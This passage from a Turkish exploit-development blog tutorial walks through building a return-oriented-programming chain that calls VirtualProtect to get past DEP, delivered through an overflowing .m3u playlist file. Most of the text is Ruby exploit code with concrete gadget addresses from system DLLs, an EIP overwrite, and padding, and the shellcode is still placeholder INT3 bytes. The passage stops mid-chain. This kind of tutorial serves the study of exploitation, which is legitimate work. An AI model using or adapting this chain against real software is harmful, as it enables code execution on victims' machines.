&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNkD0JgJX3kmJcl5vU_j_yfZwq1TVidsi8k5zrY0CMJNY05_VCyZqBNHvEorsVCP76BEGWgQh8o7AH1Gdja9rvcRkdViA-MoLs8fqykgymlwpFscrMxMOoVvlEbHY-OswPLIf9iATjHkWa/s1600/rop_exploit_arch.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNkD0JgJX3kmJcl5vU_j_yfZwq1TVidsi8k5zrY0CMJNY05_VCyZqBNHvEorsVCP76BEGWgQh8o7AH1Gdja9rvcRkdViA-MoLs8fqykgymlwpFscrMxMOoVvlEbHY-OswPLIf9iATjHkWa/s1600/rop_exploit_arch.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ROP Exploit Yapısı&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Normalde shellcode&#39;umuzun adresini dinamik olarak hesaplamak haricinde pek bir gadget&#39;a ihtiyaç yok gibi duruyor. Fakat VP fonksiyonunun diğer parametreleri NULL byte (0x00) içerdiği için ve hedef uygulama NULL byte&#39;ları öldürdüğü için mecburen diğer parametreleride dinamik olarak oluşturup ilgili konumlarına yazacağız. İlk olarak şunu yapıyoruz, EIP&#39;e sadece RET instruction&#39;ını barındıran bir adres yazacağız ve stack&#39;e geri döneceğiz. Ardından shellcode&#39;umuzun adresini hesaplayabilmek için ESP&#39;yi bir yada birden çok register&#39;da saklayacağız ve daha sonra diğer işlemlerimize geçeceğiz. İlk gadget&#39;ımız 0x1002DC2A adresinde ve sadece RETN instruction&#39;ı içeriyor, kısacası hemen stack&#39;e dönecek ve bir sonraki adrese giderek oradaki instruction&#39;ları çalıştıracak. Bir sonraki instruction&#39;ınımın adresi ise 0x5AD79277 ve bu gadget PUSH ESP + MOV EAX, EDX + POP EDI + RET instruction&#39;larını içeriyor. ESP&#39;ideki değeri EDI&#39;yede atıyor. &lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBdP3iupYJwADHxGzx3jvYh2Q3svIN6tHjr33tbRi82mONhFLHO-PkTEYwBdXTE6daRVInw1OmsMDaiKklCjgbYTN5rz1lRy35dr7BCI43wJTHaw9agn9YB6ixlUEBSF9L6ghAduPlSOyV/s1600/take_stack_pointer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;55&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBdP3iupYJwADHxGzx3jvYh2Q3svIN6tHjr33tbRi82mONhFLHO-PkTEYwBdXTE6daRVInw1OmsMDaiKklCjgbYTN5rz1lRy35dr7BCI43wJTHaw9agn9YB6ixlUEBSF9L6ghAduPlSOyV/s400/take_stack_pointer.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;EDI = ESP&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
Bir kaç register&#39;da daha ESP&#39;yi saklamak faydalı olacaktır daha sonraki işlemler için. Bunun için bulduğum gadget&#39;lar şu adreslerde 0x77C34DC2 ve 0x775D131E. İlk gadget MOV EAX,EDI instruction&#39;ı ile EDI&#39;yi (EDI = ESP) EAX&#39;a taşıyor, ikinci gadget ise PUSH EAX + POP ESI instruction&#39;ları ile EAX&#39;ı (EAX = ESP) stack&#39;e PUSH ediyor ve daha sonra o değeri ESI&#39;ye alıyor. Son durumda register&#39;ların durumu şu şekilde;&lt;br /&gt;
&lt;br /&gt;
EAX = 0x000FF734&lt;br /&gt;
EDI = 0x000FF734&lt;br /&gt;
ESP = 0x000FF734&lt;br /&gt;
ESI = 0x000FF734&lt;br /&gt;
&lt;br /&gt;
VirtualProtect fonksiyonunu temsili bir şekilde stack&#39;te yer edindirmek içinde parametreleri rastgele değerler ile exploitimize giriyoruz.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Exploit:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;filename = &quot;rop2.m3u&quot;
buffersize = 26109
junk = &quot;A&quot; * buffersize

eip = [0x1002DC2A].pack(&quot;V*&quot;) # RET

# rop payload
rop = &quot;FFFF&quot;
rop &amp;lt;&amp;lt; [0x5AD79277].pack(&quot;V*&quot;) # PUSH ESP + ... + POP EDI + RET
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x33445566].pack(&quot;V*&quot;) # trash for POP 
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP&#39;nin değerine sahipler

# VirtualProtect
rop &amp;lt;&amp;lt; [0x7C801AD4].pack(&quot;V*&quot;) # VirtualProtect from kernel32.dll
rop &amp;lt;&amp;lt; [0x44444444].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x45454545].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x46464646].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x47474747].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x10035005].pack(&quot;V*&quot;)

nops = (&quot;\x90&quot; * 100)
shellcode = (&quot;\xCC&quot; * 350)
junk2 = (&quot;\xCC&quot; * (600 - shellcode.length))
payload = &quot;#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}&quot;

puts &quot;Payload size : #{payload.length}&quot;

File.open(&quot;rop2.m3u&quot;, &quot;w&quot;) { |f| 
 f.write(payload)
}&lt;/pre&gt;&lt;br /&gt;
VirtualProtect fonksiyonunun çalıştırılmaması için ESP&#39;yi biraz arttırarak VirtualProtect ve parametrelerini aşmamız gerekmekte. VP() yer tutucusu 6 DWORD&#39;den oluşmakta. 6 DWORD demek 6 x 4 = 24 byte demek. ADD ESP, 18 gibi instruction benim için bu işlemi yapacaktır. 0x77C22894 adresinde işimi görebilecek bir gadget mevcut. ADD ESP,20 + POP EBP + RET instruction&#39;larından oluşan bu gadget ile ESP&#39;yi 32 byte (20h = 32d) kaydırabilmem mümkün. Şunuda not olarak eklemek gerekmekte. Exploit&#39;te görebileceğiniz gibi 0x77C34DC2 gadget&#39;ından sonra ROP Payload&#39;uma 0x33445566 gibi bir değer daha ekledim. Bu değer POP ESI instruction&#39;ına atanacak. Önemsiz bir değerde olsa mutlaka bir değer verilmeli gadget içinde eğer POP instruction&#39;ı varsa, yoksa POP instruction&#39;ları stack&#39;ten bir sonraki değeri alacaktır ve ROP Payload&#39;unuz istediğiniz gibi çalışmayacaktır. 0x5AD79277 gadget&#39;ında da POP işlemi var ama herhangi bir değer neden girmedik diye soracaksanız bunun cevabı zaten gadget&#39;ın içerisinde. PUSH işlemi bir DWORD değeri stack&#39;e attı, sonrasındaki POP işlemi ise o atılan değeri otomatik olarak aldı. Gadget, PUSH ESP + POP EDI + POP EAX şeklinde olsaydı benim ROP Payload&#39;um şu şekilde olacaktı.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;rop &amp;lt;&amp;lt; [0x5AD79277].pack(&quot;V*&quot;) # PUSH + POP + POP
rop &amp;lt;&amp;lt; [0x44332255].pack(&quot;V*&quot;) # En son POP için&lt;/pre&gt;&lt;br /&gt;
Kaldığımız yerden devam.. Exploit&#39;imin son hali şu şekilde;&lt;br /&gt;
&lt;b&gt;Exploit:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;filename = &quot;rop2.m3u&quot;
buffersize = 26109
junk = &quot;A&quot; * buffersize

eip = [0x1002DC2A].pack(&quot;V*&quot;) # RET

# rop payload
rop = &quot;FFFF&quot;
rop &amp;lt;&amp;lt; [0x5AD79277].pack(&quot;V*&quot;) # PUSH ESP + ... + POP EDI + RET
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x33445566].pack(&quot;V*&quot;) # trash for POP 
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP&#39;nin değerine sahipler

rop &amp;lt;&amp;lt; [0x77C22894].pack(&quot;V*&quot;) # ADD ESP,20 + POP + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP

# VirtualProtect
rop &amp;lt;&amp;lt; [0x7C801AD4].pack(&quot;V*&quot;) # VirtualProtect from kernel32.dll
rop &amp;lt;&amp;lt; [0x44444444].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x45454545].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x46464646].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x47474747].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x10035005].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # add esp,20 için
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # add esp,20 için

rop &amp;lt;&amp;lt; [0x77887788].pack(&quot;V*&quot;)

nops = (&quot;\x90&quot; * 100)
shellcode = (&quot;\xCC&quot; * 350)
junk2 = (&quot;\xCC&quot; * (600 - shellcode.length))
payload = &quot;#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}&quot;

puts &quot;Payload size : #{payload.length}&quot;

File.open(&quot;rop2.m3u&quot;, &quot;w&quot;) { |f| 
 f.write(payload)
}&lt;/pre&gt;&lt;br /&gt;
VP()&#39;den sonra koymuş olduğum iki adet 0x61616161 değerleri toplamda boyutu 32&#39;ye tamamlamak içindi. Aksi halde ESP istediğim yere işaret etmeyecekti. Eğer herşey doğru ise ESP&#39;nin değeri 20h (32d) artmalı ve bir sonraki çalıştırılacak gadget olarak 0x77887788 adresine gitmeye çalışmalı programın akışı. 0x5AD79277 adresine breakpoint koyup dosyayı hedef program ile açıyoruz ve EIP 0x77887788 olana kadar Step Over (F8) yaparak gidiyoruz. Aşağıdaki resime bakarsanız, register&#39;lardaki kaydedilmiş ESP değerlerini görebilirsiniz. Bir sonraki resimden ise EIP&#39;in 0x77887788 adresine gitmeye çalıştığını görebilirsiniz. Eğer bu adımları başarıyla gerçekleştirdiyseniz, artik VP() fonksiyonuna müdahele ederek parametreleri istenilen değerlere atama aşamasına geçebiliriz. &lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0YyvpAJwAkjBsdH3RUdbtxuguPcdHhroakDsAN_MyK1vqe-FRwoFQID940JvqroqbLnsau5oW0cUBR3P4doW61NDsN_CdemiAtQ8KJ3JM2PqzGS0GxWAZrJBeBhjiao3Fg0upD2F_wcA7/s1600/registers.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0YyvpAJwAkjBsdH3RUdbtxuguPcdHhroakDsAN_MyK1vqe-FRwoFQID940JvqroqbLnsau5oW0cUBR3P4doW61NDsN_CdemiAtQ8KJ3JM2PqzGS0GxWAZrJBeBhjiao3Fg0upD2F_wcA7/s1600/registers.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Register&#39;ların Son Durumu&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg96EQkCcRbMnK-kHo2lf9KflRqMq7dps4pt6s2fP7I6jCNwKHNUg22a060Hy1sfwoMT3_bEcEIaGv4dfn-AhfrqYLHNA7TCmSQEH0pkvHh5IoA0Rstj7nCeRL69d5LJw9AmPeDtIeP91ho/s1600/eip_7788778.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg96EQkCcRbMnK-kHo2lf9KflRqMq7dps4pt6s2fP7I6jCNwKHNUg22a060Hy1sfwoMT3_bEcEIaGv4dfn-AhfrqYLHNA7TCmSQEH0pkvHh5IoA0Rstj7nCeRL69d5LJw9AmPeDtIeP91ho/s1600/eip_7788778.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Sonraki Adımda EIP&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
EDI, ESI ve EAX register&#39;larında ESP&#39;nin ilk baştaki değeri mevcut. Bu değere göre bir register&#39;ı shellcode&#39;umun adresine eşitleyeceğim VP()&#39;nin ilk iki parametresi için. Öncelikle shellcode&#39;umun adresine bakıyorum.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwAKYn2L0ie-42GYpWV3d8VhyphenhyphenlGyXoNVWxgio7eNdo3c5G81UEgoW88sM7SKzU_60rXk5dMVP3hkwn8uSxHSksIxnFDrIBQ4TLbRhHxb0kCqu0evwlZaOMo5CL7zVCmlU8NlRjQ5Aiu4Sh/s1600/stack.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwAKYn2L0ie-42GYpWV3d8VhyphenhyphenlGyXoNVWxgio7eNdo3c5G81UEgoW88sM7SKzU_60rXk5dMVP3hkwn8uSxHSksIxnFDrIBQ4TLbRhHxb0kCqu0evwlZaOMo5CL7zVCmlU8NlRjQ5Aiu4Sh/s1600/stack.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Stack&#39;in Durumu&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;İlk iki parametreyi C&#39;lerin bulunduğu adreslerden bir tanesine işaret edecek şekilde ayarlarsam başarılı olabilirim. Arayı biraz bırakırsam iyi olur çünkü araya başka gadget&#39;larda gireceği için yeterli alanı sağlamam gerekmekte. Bunun için &lt;b&gt;ADD EAX, XX&lt;/b&gt; gibi bir gadget bulmalıyım. Bulduğum gadget&#39;lar içerisinde en kullanışlı olanı ADD EAX, 100h gadget&#39;ı. EAX (0x000FF734) + 0x100 (256d) = 0x000FF834 adresine tekabül etmekte. Shellcode&#39;umu bu adrese işaret edecek şekilde daha sonra konumlandıracağım. Şuan için shellcode yerine C karakteri kullandık. Artık EAX shellcode&#39;umuza işaret ediyor diyebiliriz.&lt;br /&gt;
&lt;br /&gt;
İlk parametreyi atamak için saved ESP&#39;ye sahip register&#39;lardan bir tanesini temel pointer olarak kullanıp işaret ettikleri değerleri değiştirebilmemiz lazım. Şuan için elimizde ESI ve EDI kaldı sadece saved ESP&#39;ye sahip register&#39;lar olarak. Bulmuş oldupum gadget&#39;lar arasındaki en kullanışlısı 0x7301D6EA adresindeki gadget. Bu gadget şu instruction&#39;lara sahip;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV DWORD PTR DS:[ESI+18],EAX
MOV DWORD PTR DS:[ESI+1C],EAX
MOV EAX,ESI
POP ESI
POP EBP
RETN 4&lt;/pre&gt;&lt;br /&gt;
Görüleceği gibi gadget ESI+18 ve ESI+1C adreslerine EAX&#39;in değerini yazıyor. ESI (0x000FF734) + 0x18 (24d) = 0x000FF74C ve ESI (0x000FF734) + 0x1C (28d) = 0x000FF750.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0_d02p3NmK53ImAr1234_4sof4kdzsXu_qXTeIdu5oroGzRN8AyTHYfxVwfd9U_hp-x1eBoTJPCjBOpsbSCaauoyDHtq1owkjv1ZgMWnXfKBwNgdJK_Xh36UghMCoEfdrmwQPKIVLSBZ7/s1600/stack2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0_d02p3NmK53ImAr1234_4sof4kdzsXu_qXTeIdu5oroGzRN8AyTHYfxVwfd9U_hp-x1eBoTJPCjBOpsbSCaauoyDHtq1owkjv1ZgMWnXfKBwNgdJK_Xh36UghMCoEfdrmwQPKIVLSBZ7/s1600/stack2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
0x000FF74C adresinde DDDD ve 0x000FF750 adresinde ise EEEE değerleri var. Bulmuş olduğum gadget tek atışta DDDD ve EEEE değerlerini EAX&#39;in değerine eşitleyeceğiz.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4zn7W8Mzs_IYye9YByzo8hy0G7LZdZeQyCs_8QLwgYK63N_FQYN8m3n5rb_FV2wL3UYSJ6KPY5WVIl2PdEXgpyejmAvHzuKH4b9UGraGPyBjxvS-VEbiv9OzetVPxb-Az3redClzgj0bd/s1600/ROPPED2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4zn7W8Mzs_IYye9YByzo8hy0G7LZdZeQyCs_8QLwgYK63N_FQYN8m3n5rb_FV2wL3UYSJ6KPY5WVIl2PdEXgpyejmAvHzuKH4b9UGraGPyBjxvS-VEbiv9OzetVPxb-Az3redClzgj0bd/s1600/ROPPED2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Bulmuş olduğumuz kullanışlı gadget&#39;ımız sayesinde tek atışta 0x000FF74C ve&amp;nbsp;0x000FF750 adreslerine EAX&#39;ın değerini yazdırdık. Ama şuan için sorunumuz gadget içerisindeki MOV EAX, ESI ve POP ESI instruction&#39;larının mevcut değerleri bozması. Bir sonraki gadget ile bu değerleri kurtarmamız gerekecek. Bunun içinde daha önceden kullandığımız MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget&#39;larını kullanacağız. Exploitimizin son hali şu şekilde olmalı.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;filename = &quot;rop2.m3u&quot;
buffersize = 26109
junk = &quot;A&quot; * buffersize

eip = [0x1002DC2A].pack(&quot;V*&quot;) # RET

# rop payload
rop = &quot;FFFF&quot;
rop &amp;lt;&amp;lt; [0x5AD79277].pack(&quot;V*&quot;) # PUSH ESP + ... + POP EDI + RET
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
rop &amp;lt;&amp;lt; [0x33445566].pack(&quot;V*&quot;) # trash for POP 
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP&#39;nin değerine sahipler

rop &amp;lt;&amp;lt; [0x77C22894].pack(&quot;V*&quot;) # ADD ESP,20 + POP + RET
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP

# VirtualProtect
rop &amp;lt;&amp;lt; [0x7C801AD4].pack(&quot;V*&quot;) # VirtualProtect from kernel32.dll
rop &amp;lt;&amp;lt; [0x44444444].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x45454545].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x46464646].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x47474747].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x10035005].pack(&quot;V*&quot;)
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # add esp,20 için
rop &amp;lt;&amp;lt; [0x61616161].pack(&quot;V*&quot;) # add esp,20 için

# EAX&#39;i shellcode&#39;a işaret ettiriyoruz
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN &amp;gt; msvcrt.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first &amp;amp; second parameter of VP()
rop &amp;lt;&amp;lt; [0x7301D6EA].pack(&quot;V*&quot;) # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 &amp;gt; MFC42.dll
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop &amp;lt;&amp;lt; [0x77C34DC2].pack(&quot;V*&quot;) # MOV EAX,EDI + POP ESI + RET
&lt;b&gt;rop &amp;lt;&amp;lt; [0x14141414].pack(&quot;V*&quot;) # trash for RETN 4&lt;/b&gt;
rop &amp;lt;&amp;lt; [0x62626262].pack(&quot;V*&quot;) # trash for POP ESI
rop &amp;lt;&amp;lt; [0x775D131E].pack(&quot;V*&quot;) # PUSH EAX + POP ESI + RETN

nops = (&quot;\x90&quot; * 100)
shellcode = (&quot;\xCC&quot; * 350)
junk2 = (&quot;\xCC&quot; * (600 - shellcode.length))
payload = &quot;#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}&quot;

puts &quot;Payload size : #{payload.length}&quot;

File.open(&quot;rop2.m3u&quot;, &quot;w&quot;) { |f| 
 f.write(payload)
}&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
RETN+N şeklindeki instruction&#39;lar için kısa bir bilgilendirme yapmak lazım. Bu tip durumlarda N adet DWORD&#39;ü bir sonraki instruction&#39;dan sonra konumlandırmak lazım aksi takdirde ROP Payload&#39;umuz istediğimiz gibi çalışmayacaktır. Bunun sebebi ise RETN+N komutu çalıştırıldığı zaman stack&#39;ten N kadar parametrenin POP edilmesidir.&lt;br /&gt;
&lt;br /&gt;
ROP Payload&#39;una bakacak olursanız ESI ve EAX&#39;ı kurtardık. Bir sonraki görevimiz ESI+20 (0x000FF754) konumuna korunma durumunu değiştireceğimiz alanının boyutunu girmek (VP()&#39;nin 3.parametresi). Bunun için yine EAX&#39;i kullanabiliriz. Öncelikle EAX&#39;i sıfırlıyoruz, XOR EAX, EAX işlemini yapan bir gadget buluyoruz. Bu arada gadget bulma işlemi için debugger&#39;ın arama özelliğini ya da pvefindaddr gibi bir PyCommand&#39;ı kullanabilirsiniz, tercihinize kalmış bir durum. 0x100307A9 adresindeki XOR EAX, EAX gadget&#39;ı ile EAX&#39;ı 0(sıfır)&#39;a eşitliyoruz. Daha sonra&amp;nbsp;0x77C4EC2B adresindeki ADD EAX, 100 gadget&#39;ı ile EAX&#39;ı 100h&#39;ye eşitliyoruz. ADD EAX, 100 gadget&#39;ını 4 kez çalıştırırsak EAX&#39;a 0x400 (1024d) gibi bir değer atanacaktır ki bu boyut shellcode&#39;umuz için oldukça kullanışlı. ROP Payload&#39;umuza aşağıdaki eklemeyi yapıyoruz.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;rop &amp;lt;&amp;lt; [0x100307A9].pack(&quot;V*&quot;) # XOR EAX, EAX + RETN
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP
rop &amp;lt;&amp;lt; [0x77C4EC2B].pack(&quot;V*&quot;) # ADD EAX,100 + POP EBP + RETN
rop &amp;lt;&amp;lt; [0x41414141].pack(&quot;V*&quot;) # trash for POP EBP&lt;/pre&gt;&lt;br /&gt;
Artık EAX, 0x400 değerine eşit. Yani VP()&#39;nin 3.parametresi stack üzerindeki. Yine çok kullanışlı olarak bulduğum gadget&#39;lardan 0x775DD86D gadget&#39;ını kullanıcam. Bu gadget&#39;ın komutları şu şekilde;  &lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV DWORD PTR DS:[ESI+20],EAX
POP ESI
POP EBX
POP EBP
RETN 4&lt;/pre&gt;&lt;br /&gt;
Bir önceki parametre yazma işleminde olduğu gibi ESI+20 stack üzerinde VP()&#39;nin 3.parametresine denk geliyor. Ayrıca bazı durumlarda daha kullanışlı olan NEG instruction&#39;ı ile değeri elde etmek daha kısa olabiliyor. NEG instruction&#39;ı verdiğiniz değeri 0xFFFFFFFF ile XOR&#39;luyor. Ufak bir Ruby kodu yazdım ve 1024d elde etmek için hangi değeri kullanmam gerektiğini bulmaya yarıyor.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;# negazord.rb
searchval = ARGV[0]

for i in 0..31337
 total = 0xFFFFFFFF - i
 negazored = &quot;0x%08x&quot; % (total ^ 0xFFFFFFFF)
 
 if negazored.to_i(16) == searchval.to_i
  puts &quot;[+] founded! 0x#{total.to_s(16).upcase}&quot;
 end
end&lt;/pre&gt;&lt;br /&gt;
Şu şekilde kullanarak 0xFFFFFBFF değerinin 0x400 yapacağını buldum.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;[cb@world:~]&amp;gt; ruby Codes/ruby/negazord.rb 1024
[+] founded!
[+] NEG (0xFFFFFBFF) = 0x00000400 (1024d)&lt;/pre&gt;&lt;br /&gt;
EAX&#39;e 0xFFFFFBFF değerini POP edip ardından EAX&#39;ı NEG işlemine tabi tutmalıyım. 0x77C4E0DA adresindeki gadget POP EAX + RETN içeriyor, EAX&#39;ı 0xFFFFFBFF&#39;e eşitledik. 0x77C1D1E3 adresindeki gadget ise NEG EAX + POP EBP + RETN içeriyor ve EAX&#39;ı NEG instruction&#39;ı ile 0x400 yaptık.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;rop &amp;lt;&amp;lt; [0x77C4E0DA].pack(&quot;V*&quot;) # POP EAX + RETN &amp;gt; msvcrt.dll 
rop &amp;lt;&amp;lt; [0xFFFFFBFF].pack(&quot;V*&quot;) # NEG(0xFFFFFBFF) = 0x00000400
rop &amp;lt;&amp;lt; [0x77C1D1E3].pack(&quot;V*&quot;) # NEG EAX + POP EBP + RETN &amp;gt; msvcrt.dll
